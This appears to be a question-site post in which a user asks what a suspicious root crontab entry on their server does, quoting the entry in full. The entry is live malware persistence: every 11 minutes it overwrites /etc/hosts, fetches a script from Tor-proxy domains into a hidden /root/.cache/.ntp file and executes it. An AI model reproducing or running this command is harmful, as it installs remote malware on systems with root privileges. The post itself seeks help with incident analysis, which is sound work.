问我的服务器的crontab中的这个条目有什么作用？

EN

crontab -u root -l

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /root/.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /root/.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /root/.cache/.ntp) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp